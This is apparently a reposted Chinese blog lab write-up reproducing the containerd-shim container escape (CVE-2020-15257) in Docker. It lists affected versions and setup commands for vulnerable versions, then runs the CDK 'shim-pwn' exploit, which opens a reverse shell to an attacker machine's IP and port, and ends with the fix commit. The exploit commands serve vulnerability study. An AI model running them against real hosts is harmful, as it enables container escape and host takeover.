标签:容器 containerd 15257 2020 https ubuntu docker com Docker
一、漏洞概述
Docker 逃逸指在 Docker 容器内部可以操作该容器的外部资源,一般理解为操作宿主机的行为。
Containerd 是一个工业级标准的容器运行组建,它强调简单性、健壮性和可移植性。Containerd 可以在宿主机中管理完整的容器生命周期:容器镜像的传输和存储、容器的执行和管理、存储和网络等。
二、影响版本
- containerd < 1.4.3
- containerd < 1.3.9
三、漏洞原理
docker容器以“--net=host”启动会暴露containerd-shim监听的 Unix 域套接字,与宿主机共享net namespace,且其中的unix socket可以被容器内部访问到。攻击者若是通过socket+API控制下游的Runc启动新的镜像,则可以通过该镜像逃逸。详细原理参见大佬文章——https://mp.weixin.qq.com/s/iNziquZJxcox9453jF8LOg
四、漏洞复现环境
Kali Linux + Ubuntu
渗透机:Kali Linux
靶机:Ubuntu
五、实验步骤
1.搭建实验环境
(1)Ubuntu内安装指定版本的docker
sudo apt-get install ca-certificates curl software-properties-common # sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add - #添加 Docker 的官方 GPG 密钥 sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable" #设置稳定版仓库 sudo apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1 #指定docker版本
2.漏洞复现
(1)下载容器
docker pull ubuntu:18.04
(2)通过--net=host 作为启动参数来运行一个容器
sudo docker run -itd --net=host ubuntu:18.04 /bin/bash
(3)查看当前运行中的容器,记下id
docker ps -a
(4)这里自己搞不定,利用一下github上的Exp:https://github.com/cdk-team/CDK/releases/tag/0.1.6
(5)将下载好的压缩包解压,然后copy进docker容器
docker cp cdk_linux_amd64 d8b74813546e:/tmp
(6)kali打开4216端口监听
(7)容器中运行下面指令执行Exp,可以看到kali中反弹得到shell,逃逸实现成功
./cdk_linux_amd64 run shim-pwn 192.168.117.131 4216
(8)可以看到主机(上)和容器内(下)的socket一致,也证明了漏洞是存在的~
六、修复方式
Docker 官方 commit:https://github.com/containerd/containerd/commit/269548fa27e0089a8b8278fc4fc781d7f65a939b
标签:容器,containerd,15257,2020,https,ubuntu,docker,com,Docker 来源: https://www.cnblogs.com/wavesky/p/16482355.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。